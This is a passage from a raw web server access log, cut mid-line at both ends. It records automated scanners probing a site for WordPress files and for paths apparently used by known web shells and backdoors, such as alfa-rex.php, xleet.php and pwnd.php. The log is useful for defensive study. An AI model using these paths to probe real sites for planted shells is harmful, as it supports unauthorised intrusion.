795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:25 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:26 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:26 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:27 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:29 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:30 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:31 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [23/Apr/2025:01:59:33 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:35:48 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:35:52 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:35:55 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:35:58 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:00 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:04 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:08 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:12 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:15 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:19 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:20 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:23 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:24 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:27 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:30 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:32 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:33 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:35 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:39 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:41 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:45 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:50 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:53 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:36:57 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:01 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:02 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:04 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:06 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:09 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:10 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:14 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:19 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:21 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:23 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:24 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:26 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:28 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:30 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:31 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:33 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:37 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:40 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:43 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:44 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:45 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:46 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:47 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:49 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:49 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:50 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:50 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:50 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:51 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:51 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:52 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:52 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:53 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:54 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:54 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:55 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:55 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:57 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:57 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:58 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:58 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:59 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:37:59 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:00 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:00 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:01 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:01 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:02 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:02 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:03 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:03 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:04 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:04 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:04 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:05 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:05 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:06 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:06 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:07 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [23/Apr/2025:02:38:08 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 66.249.79.96 - - [23/Apr/2025:02:54:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [23/Apr/2025:02:54:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.95 Mobile Safari/537.36 (compatible; GoogleOther)" 203.2.64.59 - - [23/Apr/2025:03:06:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.150.174.91 - - [23/Apr/2025:03:13:23 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:23 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:13:24 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:24 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.150.174.91 - - [23/Apr/2025:03:13:25 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.150.174.91 - - [23/Apr/2025:03:13:26 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:26 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:13:26 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:27 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:27 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:27 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.150.174.91 - - [23/Apr/2025:03:13:28 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:28 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:28 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.150.174.91 - - [23/Apr/2025:03:13:29 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:29 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:30 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.150.174.91 - - [23/Apr/2025:03:13:30 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:30 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:31 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:31 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:13:32 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:32 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:32 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:33 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.150.174.91 - - [23/Apr/2025:03:13:34 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:13:35 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:36 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:36 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:13:36 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:13:37 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.150.174.91 - - [23/Apr/2025:03:13:37 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:13:37 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:38 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.150.174.91 - - [23/Apr/2025:03:13:38 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:13:39 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.150.174.91 - - [23/Apr/2025:03:13:39 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:40 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:40 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:13:41 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:41 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:42 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:13:43 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:13:45 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:46 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:13:48 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:49 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:50 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:51 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:52 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:53 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.150.174.91 - - [23/Apr/2025:03:13:53 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:54 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:54 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:13:56 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.150.174.91 - - [23/Apr/2025:03:13:57 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:13:58 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.150.174.91 - - [23/Apr/2025:03:13:58 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:13:59 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.150.174.91 - - [23/Apr/2025:03:14:00 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:01 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.150.174.91 - - [23/Apr/2025:03:14:03 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:04 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:05 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.150.174.91 - - [23/Apr/2025:03:14:05 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:06 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.150.174.91 - - [23/Apr/2025:03:14:08 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:10 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.150.174.91 - - [23/Apr/2025:03:14:10 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.150.174.91 - - [23/Apr/2025:03:14:11 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 